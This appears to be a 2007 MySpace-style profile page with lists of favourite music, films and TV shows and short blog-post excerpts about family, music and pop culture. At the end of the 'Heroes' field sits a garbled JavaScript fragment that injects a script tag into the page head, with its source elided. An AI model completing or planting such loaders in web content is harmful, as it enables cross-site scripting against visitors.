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My Interests

Music:

beastie boysweezer, james brown...cause he's super bad, rage against the machine, flogging molly, u2, invisible republic, interpol, the killers, bs2000, 311, cake, jay-z, snoop, janis, cypress hill, blur, talking heads, beck, the doors, hendrix, the clash, BOOMBOOMIWANNATAKEYOUTOMYBEDROOM MUSIC...

Movies:

the shining, wizard of oz, trainspotting, 40 year old virgin, dazed and confused, cat in the hat, office space, anything w/ deniro, , goldmember, reality bites, silence of the lambs, friday, little miss sunshine, office space, friday...

Television:

CSI, forensic files, cold case, cold case files, american justice, criminal minds, without a trace, JEOPARDY!!!anything hosted by bill kurtis (who rocks)

Books:

art books, photography books, celtic art books, you get the idea, i don't like to read. i'd rather recite the phonetic alphabet, or do algebra, or eat dirt.

Heroes:

my sister, mom, dad, curious george, deniro, my parents, my ex husband, my grandparents, adrock and jonas. .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"

My Blog

KELLY CLARKSON! @.$%^&*

a few weeks ago, my poor, clumsy child totally ate it on the pavement running out of school. scrapped some skin off his knee, elbow, and a few other places. thank JESUS his face was fine.&...
Posted by duchess of dork on Tue, 12 Jun 2007 07:50:00 PST

Jonas The Bonus - By: Ricky Powell

like pop says...it's nice to be nice. professor pumpernickel...you're the best! MAD love and respect. glad jonas brought you luck. save that baggie! check it... Jonas The Bonus...
Posted by duchess of dork on Wed, 30 May 2007 11:36:00 PST

initech or dunder mifflin?

it's thursday, 3-day weekend ahead and it couldn't come soon enough. i get up at a pretty reasonable time and have a very chill morning...one of those mornings where you have that extra sec...
Posted by duchess of dork on Thu, 24 May 2007 06:28:00 PST

OH MY GOD THAT'S THE FUNKY SHIT!

that's my b-BOY! jonas was getting over a cold, but he still broke it down. don't mind the wind. the first 40 seconds or so of each video isn't much of anything...but watch from begi...
Posted by duchess of dork on Thu, 03 May 2007 07:00:00 PST

hes got frickin laser beams&all over his frickin space&

friend request of the week goes to wicked lasers. "Worlds Top Manufacture of High Quality Red ,Green, and Blue Laser" i mean, the kid has frickin laser beams&all over his frickin space& ...
Posted by duchess of dork on Thu, 26 Apr 2007 07:31:00 PST

is your name michael diamond? naw, mine's clarence

playing mike D in the sunglass aisle at target. more fun fear and loathing in las vegas bono ...
Posted by duchess of dork on Tue, 08 Aug 2006 09:39:00 PST

deep water running BITCHES!

kelly and i started our "water aerobics" class last night. before we even get in the building, we're skived by pool funk. i know chlorine is potent, but shit. then there's the pleasa...
Posted by duchess of dork on Wed, 18 Apr 2007 08:10:00 PST

duchess of dork...played by a spork...

the great spork injustice. not only did i get to play w/ my own shit&with a mini-spork&three times over&i'm getting billed $216 for my troubles. i'd like to thank galway, ireland for the ...
Posted by duchess of dork on Mon, 16 Apr 2007 12:30:00 PST

check your head...GOTTDANG!

on my way to work I put in check your head. It had been a while&but GOTTDANG! Did it take me back. 1992 check your head is released&I graduate high school&the dawning of a new era. ...
Posted by duchess of dork on Mon, 16 Apr 2007 11:24:00 PST

got a case of the mondays?

office space rocks. if you haven't seen it, you live under a bigger rock than i do, and that's sad. damn, it feels good to be a gangsta. "i don't really like talking abo...
Posted by duchess of dork on Mon, 16 Apr 2007 10:33:00 PST